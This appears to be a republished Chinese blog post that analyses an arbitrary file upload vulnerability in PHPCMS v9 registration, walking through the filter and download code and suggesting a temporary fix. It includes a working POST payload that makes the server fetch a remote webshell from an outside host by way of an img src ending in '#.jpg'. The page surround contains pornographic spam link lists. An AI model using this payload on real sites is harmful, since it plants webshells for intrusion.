日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

PHPCMS最新版任意文件上传漏洞分析

發布時間:2025/5/22 php 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHPCMS最新版任意文件上传漏洞分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

工具:火狐插件hackbar

前幾天就聽朋友說PHPCMS最新版出了幾個洞,有注入還有任意文件上傳,注入我倒不是很驚訝,因為phpcms只要拿到了authkey注入就一大堆……

任意文件上傳倒是很驚訝,但是小伙伴并沒有給我exp,今天看到了EXP,但是沒有詳細分析,那我就自己分析一下好啦。

首先去官網下一下最新版的程序,搭建起來。

為了方便各位小伙伴復現,這里附上最新版的下載地址:

鏈接: https://pan.baidu.com/s/1geNQfyb 密碼: gxsd

漏洞復現

漏洞復現的辦法是先打開注冊頁面,然后向注冊頁面POST如下payload:

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=

然后就會報錯并返回shell地址:

然后就可以連接啦。

漏洞分析

通過復現過程可以看到漏洞URL為:

http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1

可以確定是member模塊的問題,以前我分析過phpcms的程序,所以就不從index.php看了,我們直接去打開member模塊的控制器文件如下:

/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php

方法應該是register,我們定位到這里的函數:

首先是獲取了一個$siteid然后加載了一些配置,再判斷是否存在$_POST['dosubmit'],如果存在則進入到注冊流程。

通過跟進發現跟我們漏洞有關的代碼應該是從129行開始:

//附表信息驗證 通過模型獲取會員信息 if($member_setting['choosemodel']) {require_once CACHE_MODEL_PATH.'member_input.class.php';require_once CACHE_MODEL_PATH.'member_update.class.php';$member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);$user_model_info = $member_input->get($_POST['info']); }

其中第134行從POST請求中傳入了我們EXP的關鍵參數$_POST['info']:

$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

但使用new_html_special_chars函數過濾了一遍,我們來跟進下這個函數都干了些什么事情。

function new_html_special_chars($string) {$encoding = 'utf-8';if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);return $string; }

好吧,只是用了htmlspecialchars函數來轉義HTML特殊字符,影響不是特別大,繼續往下跟,135行調用$member_input->get()方法進行了處理:

$user_model_info = $member_input->get($_POST['info']);

get方法不是很長,這里把代碼貼出來:

function get($data) {$this->data = $data = trim_script($data);$model_cache = getcache('member_model', 'commons');$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];$info = array();$debar_filed = array('catid','title','style','thumb','status','islink','description');if(is_array($data)) {foreach($data as $field=>$value) {if($data['islink']==1 && !in_array($field,$debar_filed)) continue;$field = safe_replace($field);$name = $this->fields[$field]['name'];$minlength = $this->fields[$field]['minlength'];$maxlength = $this->fields[$field]['maxlength'];$pattern = $this->fields[$field]['pattern'];$errortips = $this->fields[$field]['errortips'];if(empty($errortips)) $errortips = "$name 不符合要求!";$length = empty($value) ? 0 : strlen($value);if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 個字符!");if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');if($maxlength && $length > $maxlength && !$isimport) {showmessage("$name 不得超過 $maxlength 個字符!");} else {str_cut($value, $maxlength);}if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重復!");$func = $this->fields[$field]['formtype'];if(method_exists($this, $func)) $value = $this->$func($field, $value);$info[$field] = $value;}}return $info; }

先調用了trim_script方法處理了一下$data,跟進查看:

function trim_script($str) {if(is_array($str)){foreach ($str as $key => $val){$str[$key] = trim_script($val);}}else{$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );$str = str_replace ( 'javascript:', 'javascript:', $str );}return $str; }

好吧,只是進行了部分正則替換,看樣子跟我們本次要談的漏洞關系不是特別大,繼續往下看。

get函數中有個關鍵的地方是if(is_array($data))我們payload中的infoj就是個數組,所以能走進這個if條件中,繼續跟。

先是用foreach進行遍歷$info,鍵名為$field,鍵值為$value,首先用safe_replace進行了一次安全替換:

$field = safe_replace($field);

跟safe_replace函數看看:

/*** 安全過濾函數** @param $string* @return string*/ function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','&quot;',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','&lt;',$string);$string = str_replace('>','&gt;',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string; }

將部分字符替換為空了,我們繼續往下跟,發現geth方法中這兩行很關鍵,很有可能跟漏洞相關:

$func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value);

先是獲取了一個$func,然后判斷方法如果存在就帶入這個函數,我這里用的debug模式,可以直接看到最終的$func是editor。

然而實際上這個editor是存在數據庫中v9_model_field表中的。

我們繼續跟進editor方法:

function editor($field, $value) {$setting = string2array($this->fields[$field]['setting']);$enablesaveimage = $setting['enablesaveimage'];$site_setting = string2array($this->site_config['setting']);$watermark_enable = intval($site_setting['watermark_enable']);$value = $this->attachment->download('content', $value,$watermark_enable);return $value; }

然后這篇文章的高潮部分來了!!!!

看這里:

$value = $this->attachment->download('content', $value,$watermark_enable);

把$value,也就是我們的info[content]帶入到了$this->attachment->download函數!繼續跟!!

整段函數如下:

/*** 附件下載* Enter description here ...* @param $field 預留字段* @param $value 傳入下載內容* @param $watermark 是否加入水印* @param $ext 下載擴展名* @param $absurl 絕對路徑* @param $basehref */ function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') {global $image_d;$this->att_db = pc_base::load_model('attachment_model');$upload_url = pc_base::load_config('system','upload_url');$this->field = $field;$dir = date('Y/md/');$uploadpath = $upload_url.$dir;$uploaddir = $this->upload_root.$dir;$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;$remotefileurls = array();foreach($matches[3] as $matche){if(strpos($matche, '://') === false) continue;dir_create($uploaddir);$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);}unset($matches, $string);$remotefileurls = array_unique($remotefileurls);$oldpath = $newpath = array();foreach($remotefileurls as $k=>$file) {if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;$filename = fileext($file);$file_name = basename($file);$filename = $this->getname($filename);$newfile = $uploaddir.$filename;$upload_func = $this->upload_func;if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath;}}return str_replace($oldpath, $newpath, $value); }

先是設置了一些參數,然后把我們的payload帶入了一個new_stripslashes函數:

/*** 返回經stripslashes處理過的字符串或數組* @param $string 需要處理的字符串或數組* @return mixed*/ function new_stripslashes($string) {if(!is_array($string)) return stripslashes($string);foreach($string as $key => $val) $string[$key] = new_stripslashes($val);return $string; }

進行了一個stripslashes操作。

這行也是關鍵的一步:

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

這里匹配了src或href中文件的文件名,不過后綴為$ext,其中$ext的值為:gif|jpg|jpeg|bmp|png

不過匹配的并不嚴格,還是有辦法可以繞過的,如圖:

這一步被繞過,下面應該就是下載文件了吧。。。

隨后在這一行帶入了函數fillurl:

$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

在fillurl中還很貼心的給我們去掉了#后的內容:

$pos = strpos($surl,'#');if($pos>0) $surl = substr($surl,0,$pos);

這個時候$remotefileurls的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php

隨后便進行了萬惡的下載:

$newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath; }

其中$upload_func等同于php的copy函數。

然而:

而fopen一般都是可用的,如果開啟了allow_url_fopen,這個漏洞就構成了,然而大部分環境都默認開啟了allow_url_fopen。

最終在插入注冊信息時因為混入了未知的參數而導致插入失敗,報錯就顯示出了這個未知的參數 23333

至此,該漏洞分析完成。

漏洞修復

官方目前仍未發布修復補丁。

臨時修復方案可以考慮禁用uploadfile目錄下的PHP執行權限

總結

以上是生活随笔為你收集整理的PHPCMS最新版任意文件上传漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日韩xx视频| 欧美视频在线一区 | 激情综合久久 | 国产精品一二三四 | 91精品国产一区二区三区蜜臀 | 国产亚洲一区二区三区在线观看 | 婷婷激情久久 | 2级黄色片 | 国产免费黄色 | 国产精品99久久久久久大便 | 91片看 | 国产噜噜噜噜噜久久久久久久久 | 男同互操gay射视频在线看 | 日本公妇乱淫免费视频一区三区 | 国产福利一区在线 | 青娱乐毛片 | 久久精品久久精品久久精品 | 亚洲成人二区 | 看国产毛片 | 国产精品区一区二区三 | 高清视频一区二区三区 | 国产精品无码av在线有声小说 | 精品无码人妻一区二区三区品 | 中文字幕23页 | 欧美精品一二区 | 丝袜国产在线 | 亚洲国产精品无码久久久久高潮 | 日韩亚洲精品中文字幕 | 久草视频免费在线观看 | 国产精品羞羞答答 | 国产美女极度色诱视频www | 欧美成人一级片 | 91精品人妻一区二区三区果冻 | 污污视频在线免费看 | 在线精品国产 | 992在线观看 | 中文字幕在线免费观看视频 | 日日夜夜天天综合 | 在线观看视频二区 | 福利免费视频 | www.久久艹 | 免费成人在线看 | 日屁网站 | 91在线播放国产 | 欧美亚洲一 | 在线黄色av | 国产区一区二 | 国产久一 | 精品视频在线观看免费 | 免费网站在线观看黄色 | 欧美啪啪一区二区 | 激情影音 | 区一区二区三 | 91在线精品入口 | 午夜影院福利 | 轻点好疼好大好爽视频 | 久久精品视频16 | 欧美久久久久久 | 在线观看免费 | 4444亚洲人成无码网在线观看 | 亚洲色图在线观看 | 99re6在线精品视频免费播放 | 香蕉人人精品 | 日韩欧美一级大片 | 91吃瓜在线 | 日韩电影网站 | 国产chinesehd天美传媒 | 色欲一区二区三区精品a片 在线观看黄网站 | 天天综合网国产 | 国产精品女人精品久久久天天 | www国产www | 性欧美在线视频 | 日本中文字幕在线观看 | 色成人综合 | 男女激情视频网站 | 亚洲狼人综合网 | 免费污片软件 | 国产精品福利一区 | 秋霞网一区二区三区 | 日本韩国欧美一区 | 97视频在线播放 | 色香天天| 清冷学长被爆c躁到高潮失禁 | 国产福利在线观看 | 在线观看亚洲大片短视频 | 国产精品对白 | 久久久精品免费观看 | 午夜影院91 | 今天最新中文字幕mv高清 | 国产精品成人在线 | 伊人免费在线观看高清版 | 国产av不卡一区二区 | 在线小视频 | 欧美激情在线观看视频 | 免费看女生裸体视频 | 国产热99 | 日韩中文在线字幕 | 老司机精品视频在线播放 | 亚洲综合激情网 |